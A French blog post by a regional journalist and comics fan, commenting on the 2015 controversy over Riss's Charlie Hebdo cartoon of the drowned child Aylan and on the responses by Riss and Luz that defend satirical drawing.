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    Autour de Charlie Hebdo, polémique à marée basse sur le dessin satirique

    Neuf mois après, c’est reparti. Charlie Hebdo est de nouveau la cible de critiques – voire plus – sur son irresponsabilité. Et il y répond plutôt bien aujourd’hui.

    charlie_hebdo_24_09_2015_couv
    La une de Charlie hebdo, ce mercredi.

    Cette fois, il n’est pas question de religion, ni d’islam, mais du détournement de l’image iconique du petit Aylan dans un dessin de Riss. Et d’ailleurs même pas vraiment un “détournement”, tant le dessin esquisse sobrement la silhouette de l’enfant, le visage face contre terre, sur la plage. Seule différence, la présence d’un panneau de MacDonald’s affichant une promo “2 menus enfant pour le prix d’un” et un titre: “Si près du but…” Critique explicite d’une société de consommation occidentale ou l’image de l’enfance est surtout utilisée à des fins commerciale, avec un cynisme assumé.
    Et dessin drôle, aussi, dans sa dénonciation d’un capitalisme moderne capable de tout recycler, même les plus belles causes…

    Un dessin, donc, qui semblait assez lisible et facile à saisir. Il semblerait pourtant que non, au vu de la dissémination des propos hostiles et scandalisés sur les réseaux sociaux – compilés notamment ici – et du resurgissement médiatique du débat sur les limites à l’humour dessiné et à la caricature. Dans ce contexte-là, c’est surtout la lassitude et l’accablement qui prévalait, incitant à tourner la page et à oublier ce faux débat (et déballage).

    Le dessin de Riss qui a déclenché la polémique
    Le dessin de Riss qui a déclenché la polémique

    Si l’on y revient quand même, c’est pour noter la réponse que Charlie hebdo apporte dans le numéro de ce mercredi 24 septembre. Riss, directeur de publication et auteur du dessin “fautif” y rappelle notamment que “l’humour noir des dessins de Charlie sur le petit Aylan n’est qu’une mise à distance, une manière d’ironiser sur nos indignations faciles et souvent sélectives“.

    luz-image1Et, surtout, Luz consacre une page excellente sur “le dessin satirique expliqué aux cons (et en particulier aux médias)”, où il se met en scène, répondant avec humour et non sans pertinence à huit attitudes relevées autour de cette nouvelle “affaire” (ceux qui sont choqués, ceux qui dénoncent le manque de respect, ceux qui pointent le racisme, ceux qui estiment que la liberté d’expression ne justifie pas tout, etc).

    luz-pageCette controverse éditoriale paraît renvoyer au débat autour de Charlie hebdo avant le 7 janvier, lorsque on s’étripait – et souvent à “gauche de la gauche” – sur l’attitude de l’hebdomadaire. Un débat qui, sur le fond, peut avoir d’ailleurs sa pertinence, lorsqu’il est restitué avec le minimum de hauteur, comme le fait récemment Guillaume Doizy, en compte-rendu d’un débat entre Riss et Cabu au Conseil économique et social.

    Le retour de la polémique a aussi ceci de bon, au moins, de démontrer que la sacralisation de Charlie hebdo qui avait suivi l’attentat a bien pris fin. Que l’hebdo satirique a retrouvé sa place et qu’un bon dessin, comme disait Cavanna (que reprend Luz dans sa démonstration d’aujourd’hui) est “un coup de poing dans la gueule“. Et on sait qu’on en a un lorsque, comme l’explique encore Luz: “plutôt qu’un rire, on expulse un râle nerveux face à la collision entre la pertinence du propos et l’absurdité du dessin.

    Pas sûr que la leçon soit suffisante. Mais en tout cas, la démonstration porte. Et fait aussi sourire.

     

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    • Journaliste de profession, rédacteur en chef adjoint (du Courrier picard) de fonction et amateur de bande dessinée par passion, je préfère parler ici d'albums que j'apprécie (avec éclectisme) plutôt que de ceux que je n'aime pas (et qui peuvent plaire à d'autres). Et ce en toute liberté. Cet espace est aussi l'occasion d'évoquer la vie (régionale en premier lieu) de la bande dessinée et parfois au-delà celle du graphisme, du dessin de presse ou des journaux et revues en lien avec l'un ou l'autre. Précisons que la plupart des illustrations utilisées dans ce blog ont pour copyrights leurs auteurs et éditeurs respectifs. Celles-ci visant à présenter leurs œuvres. A leur demande éventuelle, elles seront retirées.

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